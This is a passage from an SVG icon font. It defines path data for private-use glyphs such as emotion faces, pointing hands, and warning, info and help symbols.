	c-35.681,0-66.904-19.072-84.043-47.574l-36.019,21.611C 128.421,104.755, 173.027,132, 224,132c 50.972,0, 95.578-27.245, 120.061-67.963
	L 308.043,42.426z"  />
<glyph unicode="&#xe0de;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 237.449,72.925 C 298.807,85.047 346.434,112.975 363.647,150.185 C 354.174,76.704 292.983,20 218.9,20 C 166.732,20 120.963,48.123 95.135,90.415 C 125.94,66.327 180.244,61.624 237.449,72.925 ZM 280,230A28,42 2700 1 0 336,230A28,42 2700 1 0 280,230zM 154,221.469 C 135.714,221.469 120.166,214.619 114.399,205.062 C 112.851,207.629 112,219.139 112,222.016 C 112,235.607 130.804,246.625 154,246.625 C 177.196,246.625 196,235.607 196,222.016 C 196,219.139 195.149,207.629 193.601,205.062 C 187.834,214.619 172.286,221.469 154,221.469 Z"  />
<glyph unicode="&#xe0df;" d="M 224,384C 100.288,384,0,283.713,0,160c0-123.712, 100.287-224, 224-224c 123.712,0, 224,100.288, 224,224
	C 448,283.713, 347.712,384, 224,384z M 308,272c 15.464,0, 28-18.804, 28-42s-12.536-42-28-42s-28,18.804-28,42S 292.536,272, 308,272z
	 M 154,247.473c 26.095,0, 44.625-9.77, 44.625-25.061c0-3.237, 1.668-18.81-0.074-21.697c-6.487,10.752-23.979,18.457-44.551,18.457
	s-38.063-7.705-44.551-18.457c-1.742,2.887-0.074,18.461-0.074,21.697C 109.375,237.703, 127.905,247.473, 154,247.473z M 218.9,20
	c-52.168,0-97.938,28.123-123.765,70.416c 30.804-24.089, 85.109-28.792, 142.314-17.49c 61.358,12.121, 108.986,40.050, 126.199,77.26
	C 354.174,76.703, 292.983,20, 218.9,20z"  />
<glyph unicode="&#xe0e0;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 84,160l0-28 c0-61.6, 50.4-112, 112-112l 56,0 c 61.6,0, 112,50.4, 112,112l0,28 L 84,160 z M 168,52.818
	c-11.61,4.138-22.279,10.86-31.3,19.883C 120.772,88.626, 112,109.687, 112,132l 56,0 L 168,52.818 z M 252,48l-56,0 l0,84 l 56,0 L 252,48 z
	 M 311.3,72.7c-9.023-9.023-19.692-15.745-31.3-19.883L 280,132 l 56,0 C 336,109.687, 327.229,88.626, 311.3,72.7z M 98.591,216
	C 98.592,216, 98.591,216, 98.591,216c 4.274,0, 7.922,3.087, 8.629,7.302C 109.915,239.351, 123.701,251, 140,251
	s 30.085-11.649, 32.779-27.698c 0.707-4.214, 4.356-7.302, 8.628-7.302c 4.274,0, 7.922,3.087, 8.629,7.301
	c 0.473,2.816, 0.712,5.659, 0.712,8.449c0,27.983-22.767,50.75-50.75,50.75s-50.75-22.767-50.75-50.75c0-2.79, 0.24-5.633, 0.712-8.449
	C 90.67,219.087, 94.319,216, 98.591,216z M 266.591,216C 266.592,216, 266.591,216, 266.591,216c 4.274,0, 7.924,3.087, 8.629,7.302
	C 277.915,239.351, 291.701,251, 308,251s 30.085-11.649, 32.779-27.698c 0.707-4.214, 4.357-7.302, 8.628-7.302s 7.922,3.087, 8.628,7.301
	c 0.473,2.816, 0.712,5.659, 0.712,8.449c0,27.983-22.767,50.75-50.75,50.75s-50.75-22.767-50.75-50.75c0-2.79, 0.238-5.633, 0.711-8.449
	C 258.67,219.087, 262.319,216, 266.591,216z"  />
<glyph unicode="&#xe0e1;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 308,280.75
	c 27.983,0, 50.75-22.767, 50.75-50.75c0-2.79-0.239-5.633-0.712-8.449c-0.708-4.214-4.357-7.301-8.629-7.301s-7.922,3.087-8.628,7.302
	C 338.085,237.601, 324.299,244.875, 308,244.875s-30.085-7.274-32.779-23.323c-0.707-4.214-4.356-7.302-8.628-7.302c-0.001,0,0,0-0.001,0
	c-4.273,0-7.921,3.087-8.628,7.301C 257.489,224.367, 257.25,227.21, 257.25,230C 257.25,257.983, 280.017,280.75, 308,280.75z M 140,280.75
	c 27.983,0, 50.75-22.767, 50.75-50.75c0-2.79-0.24-5.633-0.712-8.449c-0.708-4.214-4.356-7.301-8.629-7.301c-4.274,0-7.921,3.087-8.628,7.302
	C 170.085,237.601, 156.299,244.875, 140,244.875s-30.085-7.274-32.779-23.323c-0.707-4.214-4.356-7.302-8.628-7.302c0,0,0,0,0,0
	c-4.273,0-7.921,3.087-8.629,7.301C 89.49,224.367, 89.25,227.21, 89.25,230C 89.25,257.983, 112.017,280.75, 140,280.75z M 84,132l 84,0 l0-108.433 
	C 119.834,36.082, 84,80.059, 84,132z M 196,20L 196,132 l 56,0 l0-112 L 196,20 z M 280,23.567L 280,132 l 84,0 C 364,80.059, 328.167,36.082, 280,23.567z"  />
<glyph unicode="&#xe0e2;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 350,272 C 357.7,272 364,265.7 364,258 L 364,216 C 364,200.6 351.4,188 336,188 L 280,188 C 264.6,188 252,200.6 252,216 L 196,216 C 196,200.6 183.4,188 168,188 L 112,188 C 96.6,188 84,200.6 84,216 L 84,258 C 84,265.7 90.3,272 98,272 L 182,272 C 189.7,272 196,265.7 196,258 L 196,244 L 252,244 L 252,258 C 252,265.7 258.3,272 266,272 L 350,272 ZM 224,48 C 264.779,48 300.463,69.795 320.051,102.372 L 344.061,87.963 C 319.576,47.245 274.973,20 224,20 C 202.8,20 182.707,24.723 164.701,33.161 L 179.21,57.345 C 192.927,51.345 208.069,48 224,48 Z"  />
<glyph unicode="&#xe0e3;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 224,20
	c-21.2,0-41.293,4.723-59.3,13.161l 14.508,24.183C 192.927,51.345, 208.069,48, 224,48c 40.779,0, 76.463,21.795, 96.050,54.372
	l 24.011-14.409C 319.576,47.245, 274.973,20, 224,20z M 364,216c0-15.4-12.6-28-28-28l-56,0 c-15.4,0-28,12.6-28,28l-56,0 
	c0-15.4-12.6-28-28-28l-56,0 c-15.4,0-28,12.6-28,28l0,42 c0,7.7, 6.3,14, 14,14l 84,0 c 7.7,0, 14-6.3, 14-14l0-14 l 56,0 l0,14 c0,7.7, 6.3,14, 14,14l 84,0 
	c 7.7,0, 14-6.3, 14-14L 364,216 z"  />
<glyph unicode="&#xe0e4;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
	c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342z M 308.043,42.426
	C 290.904,70.928, 259.68,90, 224,90c-35.681,0-66.904-19.072-84.043-47.574l-36.019,21.611C 128.421,104.755, 173.027,132, 224,132
	c 50.972,0, 95.578-27.245, 120.061-67.963L 308.043,42.426zM 335.581,261.395 C 337.455,253.894 332.895,246.293 325.395,244.418 C 317.684,242.471 308.542,239.116 300.486,235.078 C 305.144,230.077 307.999,223.374 307.999,216 C 307.999,200.536 295.463,188 279.999,188 C 264.535,188 251.999,200.536 251.999,216 C 251.999,216.512 252.015,217.019 252.042,217.524 C 252.931,238.285 271.822,252.063 287.738,260.022 C 302.938,267.622 317.971,271.423 318.603,271.582 C 326.105,273.458 333.705,268.896 335.581,261.395 ZM 112.419,261.395c 1.876,7.501, 9.476,12.063, 16.978,10.187c 0.633-0.158, 15.665-3.96, 30.865-11.56
	c 15.916-7.959, 34.808-21.737, 35.697-42.498c 0.027-0.505, 0.043-1.012, 0.043-1.524c0-15.464-12.536-28-28-28s-28,12.536-28,28
	c0,7.374, 2.855,14.077, 7.514,19.078c-8.056,4.038-17.198,7.394-24.91,9.341C 115.105,246.293, 110.545,253.894, 112.419,261.395z"  />
<glyph unicode="&#xe0e5;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 252.041,217.524
	c 0.889,20.761, 19.779,34.54, 35.697,42.498c 15.2,7.6, 30.233,11.401, 30.865,11.56c 7.501,1.876, 15.103-2.685, 16.978-10.187
	c 1.875-7.501-2.685-15.102-10.187-16.978c-7.71-1.947-16.853-5.302-24.91-9.341c 4.659-5.001, 7.514-11.704, 7.514-19.078
	c0-15.464-12.536-28-28-28s-28,12.536-28,28C 251.998,216.511, 252.014,217.019, 252.041,217.524z M 112.419,261.395
	c 1.876,7.501, 9.476,12.063, 16.978,10.187c 0.633-0.158, 15.665-3.96, 30.865-11.56c 15.916-7.959, 34.808-21.737, 35.697-42.498
	c 0.027-0.505, 0.043-1.012, 0.043-1.524c0-15.464-12.536-28-28-28s-28,12.536-28,28c0,7.374, 2.855,14.077, 7.514,19.078
	c-8.056,4.038-17.198,7.394-24.91,9.341C 115.105,246.293, 110.545,253.894, 112.419,261.395z M 308.043,42.426
	C 290.904,70.928, 259.68,90, 224,90c-35.681,0-66.904-19.072-84.043-47.574l-36.019,21.611C 128.421,104.755, 173.027,132, 224,132
	c 50.972,0, 95.578-27.245, 120.061-67.963L 308.043,42.426z"  />
<glyph unicode="&#xe0e6;" d="M 279.998,188 C 264.534,188 251.998,200.536 251.999,216.001 C 251.999,216.513 252.015,217.020 252.042,217.525 C 252.931,238.286 271.822,252.064 287.738,260.023 C 302.938,267.622 317.971,271.424 318.603,271.583 C 326.105,273.459 333.705,268.897 335.581,261.396 C 337.455,253.894 332.895,246.294 325.394,244.418 C 317.683,242.471 308.541,239.116 300.485,235.078 C 305.143,230.077 307.998,223.374 307.998,216 C 307.998,200.536 295.462,188 279.998,188 ZM 122.606,244.418 C 115.105,246.293 110.545,253.894 112.42,261.395 C 114.295,268.896 121.896,273.458 129.398,271.582 C 130.029,271.423 145.063,267.622 160.262,260.022 C 176.18,252.064 195.070,238.285 195.959,217.524 C 195.986,217.019 196.002,216.511 196.002,216 C 196.002,200.536 183.466,188 168.002,188 C 152.538,188 140.002,200.536 140.002,216 C 140.002,223.374 142.857,230.077 147.515,235.078 C 139.459,239.116 130.316,242.471 122.606,244.418 ZM 224,62 C 259.68,62 290.904,81.072 308.043,109.574 L 344.061,87.963 C 319.578,47.245 274.973,20 224,20 C 173.027,20 128.422,47.245 103.939,87.963 L 139.957,109.574 C 157.096,81.072 188.319,62 224,62 ZM 448,356c0,19.913-4.167,38.85-11.66,56c-14.69-33.616-42.196-60.345-76.341-74.015C 322.289,366.842, 275.152,384, 224,384
		S 125.711,366.842, 88.001,337.985C 53.855,351.655, 26.35,378.384, 11.66,412C 4.167,394.85,0,375.913,0,356
		c0-32.189, 10.872-61.831, 29.132-85.478C 10.595,237.91,0,200.194,0,160c0-123.712, 100.288-224, 224-224s 224,100.288, 224,224
		c0,40.194-10.595,77.91-29.132,110.522C 437.128,294.169, 448,323.811, 448,356z M 224-22c-100.516,0-182,81.484-182,182
		S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22z"  />
<glyph unicode="&#xe0e7;" d="M 448,356c0,19.913-4.167,38.85-11.66,56c-14.69-33.616-42.196-60.345-76.341-74.015C 322.289,366.842, 275.152,384, 224,384
	S 125.711,366.842, 88.001,337.985C 53.855,351.655, 26.35,378.384, 11.66,412C 4.167,394.85,0,375.913,0,356c0-32.189, 10.872-61.831, 29.132-85.478
	C 10.595,237.91,0,200.194,0,160c0-123.712, 100.288-224, 224-224s 224,100.288, 224,224c0,40.194-10.595,77.91-29.132,110.522
	C 437.128,294.169, 448,323.811, 448,356z M 252.041,217.524c 0.889,20.761, 19.779,34.54, 35.697,42.498
	c 15.2,7.6, 30.233,11.401, 30.865,11.56c 7.501,1.876, 15.103-2.685, 16.978-10.187c 1.875-7.501-2.685-15.102-10.187-16.978
	c-7.71-1.947-16.853-5.302-24.91-9.341c 4.659-5.001, 7.514-11.704, 7.514-19.078c0-15.464-12.536-28-28-28s-28,12.536-28,28
	C 251.998,216.511, 252.014,217.019, 252.041,217.524z M 112.419,261.395c 1.876,7.501, 9.476,12.063, 16.978,10.187
	c 0.633-0.158, 15.665-3.96, 30.865-11.56c 15.916-7.959, 34.808-21.737, 35.697-42.498c 0.027-0.505, 0.043-1.012, 0.043-1.524
	c0-15.464-12.536-28-28-28s-28,12.536-28,28c0,7.374, 2.855,14.077, 7.514,19.078c-8.056,4.038-17.198,7.394-24.91,9.341
	C 115.105,246.293, 110.545,253.894, 112.419,261.395z M 224,20c-50.973,0-95.578,27.245-120.061,67.963l 36.019,21.611
	C 157.096,81.072, 188.319,62, 224,62c 35.68,0, 66.904,19.072, 84.043,47.574l 36.019-21.611C 319.578,47.245, 274.973,20, 224,20z"  />
<glyph unicode="&#xe0e8;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 168,76 C 168,106.928 193.072,132 224,132 C 254.928,132 280,106.928 280,76 C 280,45.072 254.928,20 224,20 C 193.072,20 168,45.072 168,76 ZM 280,230A28,42 2700 1 0 336,230A28,42 2700 1 0 280,230zM 112,230A28,42 2700 1 0 168,230A28,42 2700 1 0 112,230z"  />
<glyph unicode="&#xe0e9;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,188
		c-15.464,0-28,18.804-28,42s 12.536,42, 28,42s 28-18.804, 28-42S 155.464,188, 140,188z M 224,20c-30.928,0-56,25.072-56,56
		s 25.072,56, 56,56c 30.928,0, 56-25.072, 56-56S 254.928,20, 224,20z M 308,188c-15.464,0-28,18.804-28,42s 12.536,42, 28,42
		s 28-18.804, 28-42S 323.464,188, 308,188z"  />
<glyph unicode="&#xe0ea;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244A28,28 2700 1 0 168,244A28,28 2700 1 0 112,244zM 280,244A28,28 2700 1 0 336,244A28,28 2700 1 0 280,244zM 317.671,104 L 346.049,104 C 350.094,72.279 331.852,40.768 300.568,29.38 C 264.297,16.178 224.049,34.943 210.845,71.212 C 202.923,92.975 178.774,104.235 157.012,96.312 C 137.078,89.055 125.969,68.182 130.329,48.002 L 101.953,48.002 C 97.91,79.724 116.15,111.233 147.434,122.622 C 183.704,135.825 223.954,117.058 237.157,80.791 C 245.078,59.026 269.229,47.767 290.989,55.69 C 310.922,62.946 322.032,83.821 317.671,104 Z"  />
<glyph unicode="&#xe0eb;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 280,259.464, 292.536,272, 308,272z M 140,272
	c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 112,259.464, 124.536,272, 140,272z M 300.567,29.38
	c-36.27-13.204-76.519,5.561-89.723,41.831c-7.922,21.762-32.071,33.022-53.834,25.1c-19.933-7.257-31.044-28.13-26.682-48.311
	l-28.376,0 c-4.044,31.722, 14.197,63.233, 45.481,74.62c 36.27,13.204, 76.52-5.561, 89.723-41.831
	c 7.922-21.762, 32.071-33.021, 53.833-25.099c 19.933,7.255, 31.044,28.129, 26.682,48.31l 28.378,0 
	C 350.092,72.279, 331.851,40.767, 300.567,29.38z"  />
<glyph unicode="&#xe0ec;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28s-12.536,28-28,28S 112,259.464, 112,244z M 280,244
	c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28s-12.536,28-28,28S 280,259.464, 280,244z M 168,76l 112,0 l0-28 L 168,48 L 168,76 z"  />
<glyph unicode="&#xe0ed;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 280,48L 168,48 l0,28 
	l 112,0 L 280,48 z M 308,272c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 280,259.464, 292.536,272, 308,272z M 140,272
	c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 112,259.464, 124.536,272, 140,272z"  />
<glyph unicode="&#xe0ee;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 326.261,120.791L 336.1,87.202L 144.909,31.201L 135.070,64.79zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 Z"  />
<glyph unicode="&#xe0ef;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 292.536,272, 308,272z M 112,244c0,15.464, 12.536,28, 28,28
	s 28-12.536, 28-28s-12.536-28-28-28S 112,228.536, 112,244z M 144.919,31.206l-9.838,33.589l 191.188,56l 9.838-33.589L 144.919,31.206z"  />
<glyph unicode="&#xe0f0;" d="M 140,328L 140,175.834 C 104.602,185.659, 95.991,190.625, 58.625,190.625c-32.326,0-58.625-26.299-58.625-58.625c0-32.325 26.299-58.625 58.625-58.625
	c 45.488,0 66.478-16.941 89.998-50.352c 0.698-0.992 1.383-2.003 2.061-3.023L 112,20 L 112-64 l 280,0 l 0,84 l-24.939,0 
	c 1.882,27.852, 9.709,35.49, 19.287,44.82c 7.389,7.198, 16.587,16.156, 23.308,32.388C 416.713,114.251, 420,136.428, 420,167l 0,21 l 0,7.429 
	c 0,27.098, -22.43,49.143, -50,49.143c-4.581,0-9.133-0.623-13.519-1.833c -9.186,8.623, -21.438,13.547, -34.481,13.547
	c-4.58,0-9.133-0.623-13.518-1.833c -9.187,8.623, -21.44,13.547, -34.482,13.547c-7.891,0-15.356-1.812-22-5.026L 252,328 
	c 0,30.929, -25.071,56, -56,56C 165.072,384, 140,358.929, 140,328z M 364-22c0-7.732-6.268-14-14-14s -14,6.268, -14,14s 6.268,14, 14,14
	S 364-14.269, 364-22z M 224,325.375L 224,216.233 L 224,213.375 l 28,0 l 0,2.858 c 0,11.658, 9.869,21.143, 22,21.143c 7.599,0 14.564-3.705 18.631-9.911
	l 7.107-10.845l 11.357,6.255c 3.308,1.823, 7.080,2.786, 10.905,2.786c 7.599,0 14.563-3.705 18.63-9.91l 7.107-10.846l 11.357,6.255
	c 3.308,1.823, 7.080,2.786, 10.906,2.786c 12.13,0 22-9.485 22-21.143L 392,185.375 l0-21 c0-55.371-16.715-66.538-28.853-78.361
	c-12.39-12.070-26.243-25.589-29.193-66.014L 187.665,20 c -3.615,6.893, -7.553,13.431, -11.852,19.538C 146.125,81.709, 114.762,104, 58.625,104
	c-13.992,0, -25.375,13.134, -25.375,27.125s 11.383,26.25, 25.375,26.25c 37.476,0 46.118-5.431 81.375-16.17c 9.95-2.679 19.806-5.216 27.709-6.946L 168,325.375
	c 0,15.439, 12.561,28, 28,28C 211.439,353.375, 224,340.814, 224,325.375z"  />
<glyph unicode="&#xe0f1;" d="M 392,216L 239.834,216 C 249.659,251.398, 254.625,260.009, 254.625,297.375c0,32.326-26.299,58.625-58.625,58.625c-32.325,0-58.625-26.299-58.625-58.625
	c0-45.488-16.941-66.478-50.352-89.998c-0.992-0.698-2.003-1.383-3.023-2.061L 84,244 L0,244 l0-280 l 84,0 l0,24.939 
	c 27.852-1.882, 35.49-9.709, 44.82-19.287c 7.198-7.389, 16.156-16.587, 32.388-23.308C 178.251-60.713, 200.428-64, 231-64l 21,0 l 7.429,0 
	c 27.098,0, 49.143,22.43, 49.143,50c0,4.581-0.623,9.133-1.833,13.519c 8.623,9.186, 13.547,21.438, 13.547,34.481
	c0,4.58-0.623,9.133-1.833,13.518c 8.623,9.187, 13.547,21.44, 13.547,34.482c0,7.891-1.812,15.356-5.026,22L 392,104 
	c 30.929,0, 56,25.071, 56,56C 448,190.928, 422.929,216, 392,216z M 42-8c-7.732,0-14,6.268-14,14s 6.268,14, 14,14s 14-6.268, 14-14
	S 49.731-8, 42-8z M 389.375,132L 280.233,132 L 277.375,132 l0-28 l 2.858,0 c 11.658,0, 21.143-9.869, 21.143-22c0-7.599-3.705-14.564-9.911-18.631
	l-10.845-7.107l 6.255-11.357c 1.823-3.308, 2.786-7.080, 2.786-10.905c0-7.599-3.705-14.563-9.91-18.63l-10.846-7.107l 6.255-11.357
	c 1.823-3.308, 2.786-7.080, 2.786-10.906c0-12.13-9.485-22-21.143-22L 249.375-36 l-21,0 c-55.371,0-66.538,16.715-78.361,28.853
	c-12.070,12.39-25.589,26.243-66.014,29.193L 84,168.335 c 6.893,3.615, 13.431,7.553, 19.538,11.852C 145.709,209.875, 168,241.238, 168,297.375
	c0,13.992, 13.134,25.375, 27.125,25.375s 26.25-11.383, 26.25-25.375c0-37.476-5.431-46.118-16.17-81.375c-2.679-9.95-5.216-19.806-6.946-27.709L 389.375,188
	c 15.439,0, 28-12.561, 28-28C 417.375,144.561, 404.814,132, 389.375,132z"  />
<glyph unicode="&#xe0f2;" d="M 140-8L 140,144.166 C 104.602,134.341, 95.991,129.375, 58.625,129.375c -32.326,0 -58.625,26.299 -58.625,58.625c0,32.325 26.299,58.625 58.625,58.625
	c 45.488,0 66.478,16.941 89.998,50.352c 0.698,0.992 1.383,2.003 2.061,3.023L 112,300 L 112,384 l 280,0 l 0-84 l -24.939,0 
	c 1.882-27.852, 9.709-35.49, 19.287-44.82c 7.389-7.198, 16.587-16.156, 23.308-32.388C 416.713,205.749, 420,183.572, 420,153l 0-21 l 0-7.429 
	c 0-27.098, -22.43-49.143, -50-49.143c -4.581,0 -9.133,0.623 -13.519,1.833c -9.186-8.623, -21.438-13.547, -34.481-13.547
	c -4.58,0 -9.133,0.623 -13.518,1.833c -9.187-8.623, -21.44-13.547, -34.482-13.547c -7.891,0 -15.356,1.812 -22,5.026L 252-8 
	c 0-30.929, -25.071-56, -56-56C 165.072-64, 140-38.929, 140-8z M 364,342c0,7.732 -6.268,14 -14,14s -14-6.268, -14-14s 6.268-14, 14-14
	S 364,334.269, 364,342z M 224-5.375L 224,103.767 L 224,106.625 l 28,0 l 0-2.858 c 0-11.658, 9.869-21.143, 22-21.143c 7.599,0 14.564,3.705 18.631,9.911
	l 7.107,10.845l 11.357-6.255c 3.308-1.823, 7.080-2.786, 10.905-2.786c 7.599,0 14.563,3.705 18.63,9.91l 7.107,10.846l 11.357-6.255
	c 3.308-1.823, 7.080-2.786, 10.906-2.786c 12.13,0 22,9.485 22,21.143L 392,134.625 l0,21 c0,55.371 -16.715,66.538 -28.853,78.361
	c -12.39,12.070 -26.243,25.589 -29.193,66.014L 187.665,300 c -3.615-6.893, -7.553-13.431, -11.852-19.538C 146.125,238.291, 114.762,216, 58.625,216
	c -13.992,0, -25.375-13.134, -25.375-27.125s 11.383-26.25, 25.375-26.25c 37.476,0 46.118,5.431 81.375,16.17c 9.95,2.679 19.806,5.216 27.709,6.946L 168-5.375
	c 0-15.439, 12.561-28, 28-28C 211.439-33.375, 224-20.814, 224-5.375z"  />
<glyph unicode="&#xe0f3;" d="M 56,216L 208.166,216 C 198.341,251.398, 193.375,260.009, 193.375,297.375c0,32.326 26.299,58.625 58.625,58.625c 32.325,0 58.625-26.299 58.625-58.625
	c0-45.488 16.941-66.478 50.352-89.998c 0.992-0.698 2.003-1.383 3.023-2.061L 364,244 L 448,244 l0-280 l-84,0 l0,24.939 
	c -27.852-1.882, -35.49-9.709, -44.82-19.287c -7.198-7.389, -16.156-16.587, -32.388-23.308C 269.749-60.713, 247.572-64, 217-64l-21,0 l-7.429,0 
	c -27.098,0, -49.143,22.43, -49.143,50c0,4.581 0.623,9.133 1.833,13.519c -8.623,9.186, -13.547,21.438, -13.547,34.481
	c0,4.58 0.623,9.133 1.833,13.518c -8.623,9.187, -13.547,21.44, -13.547,34.482c0,7.891 1.812,15.356 5.026,22L 56,104 
	c -30.929,0, -56,25.071, -56,56C 0,190.928, 25.071,216, 56,216z M 406-8c 7.732,0 14,6.268 14,14s -6.268,14, -14,14s -14-6.268, -14-14
	S 398.269-8, 406-8z M 58.625,132L 167.767,132 L 170.625,132 l0-28 l-2.858,0 c -11.658,0, -21.143-9.869, -21.143-22c0-7.599 3.705-14.564 9.911-18.631
	l 10.845-7.107l -6.255-11.357c -1.823-3.308, -2.786-7.080, -2.786-10.905c0-7.599 3.705-14.563 9.91-18.63l 10.846-7.107l -6.255-11.357
	c -1.823-3.308, -2.786-7.080, -2.786-10.906c0-12.13 9.485-22 21.143-22L 198.625-36 l 21,0 c 55.371,0 66.538,16.715 78.361,28.853
	c 12.070,12.39 25.589,26.243 66.014,29.193L 364,168.335 c -6.893,3.615, -13.431,7.553, -19.538,11.852C 302.291,209.875, 280,241.238, 280,297.375
	c0,13.992, -13.134,25.375, -27.125,25.375s -26.25-11.383, -26.25-25.375c0-37.476 5.431-46.118 16.17-81.375c 2.679-9.95 5.216-19.806 6.946-27.709L 58.625,188
	c -15.439,0, -28-12.561, -28-28C 30.625,144.561, 43.186,132, 58.625,132z"  />
<glyph unicode="&#xe0f4;" d="M 224,314.558 L 73.135-8 L 374.865-8 L 224,314.558 Z M 224,384 L 224,384 C 233.656,384 243.311,377.489 250.637,364.466 L 441.856-16.645 C 456.508-42.69 444.043-64 414.161-64 L 33.839-64 C 3.956-64 -8.507-42.69 6.143-16.645 L 197.363,364.466 C 204.689,377.489 214.344,384 224,384 ZM 196,48A28,28 2700 1 0 252,48A28,28 2700 1 0 196,48zM 224,216 C 239.464,216 252,203.464 252,188 L 243.25,104 L 204.75,104 L 196,188 C 196,203.464 208.536,216 224,216 Z"  />
<glyph unicode="&#xe0f5;" d="M 224,342 C 175.386,342 129.682,323.069 95.307,288.693 C 60.931,254.318 42,208.614 42,160 C 42,111.386 60.931,65.682 95.307,31.307 C 129.682-3.068 175.386-22 224-22 C 272.614-22 318.318-3.068 352.693,31.307 C 387.068,65.682 406,111.386 406,160 C 406,208.614 387.068,254.318 352.693,288.693 C 318.318,323.069 272.614,342 224,342 Z M 224,384 L 224,384 C 347.712,384 448,283.712 448,160 C 448,36.288 347.712-64 224-64 C 100.288-64 0,36.288 0,160 C 0,283.712 100.288,384 224,384 ZM 196,76L 252,76L 252,20L 196,20zM 196,300L 252,300L 252,132L 196,132z"  />
<glyph unicode="&#xe0f6;" d="M 196,76L 252,76L 252,20L 196,20zM 308,272 C 323.464,272 336,259.464 336,244 L 336,160 L 252,104 L 196,104 L 196,132 L 280,188 L 280,216 L 140,216 L 140,272 L 308,272 ZM 224,342 C 175.386,342 129.682,323.069 95.307,288.693 C 60.931,254.318 42,208.614 42,160 C 42,111.386 60.931,65.682 95.307,31.307 C 129.682-3.068 175.386-22 224-22 C 272.614-22 318.318-3.068 352.693,31.307 C 387.068,65.682 406,111.386 406,160 C 406,208.614 387.068,254.318 352.693,288.693 C 318.318,323.069 272.614,342 224,342 Z M 224,384 L 224,384 C 347.712,384 448,283.712 448,160 C 448,36.288 347.712-64 224-64 C 100.288-64 0,36.288 0,160 C 0,283.712 100.288,384 224,384 Z"  />
<glyph unicode="&#xe0f7;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 196,272L 252,272L 252,216L 196,216zM 280,48L 168,48L 168,76L 196,76L 196,160L 168,160L 168,188L 252,188L 252,76L 280,76 z"  />
<glyph unicode="&#xe0f8;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 196,300l 56,0 l0-56 l-56,0 L 196,300 z
	 M 280,20L 168,20 l0,28 l 28,0 L 196,160 l-28,0 l0,28 l 84,0 l0-140 l 28,0 L 280,20 z"  />
<glyph unicode="&#xe0f9;" d="M0,160c0-123.712, 100.288-224, 224-224c 123.713,0, 224,100.288, 224,224S 347.713,384, 224,384C 100.288,384,0,283.712,0,160z M 392,160
	c0-32.041-8.974-61.985-24.538-87.462L 136.539,303.462C 162.015,319.027, 191.959,328, 224,328C 316.783,328, 392,252.784, 392,160z M 56,160
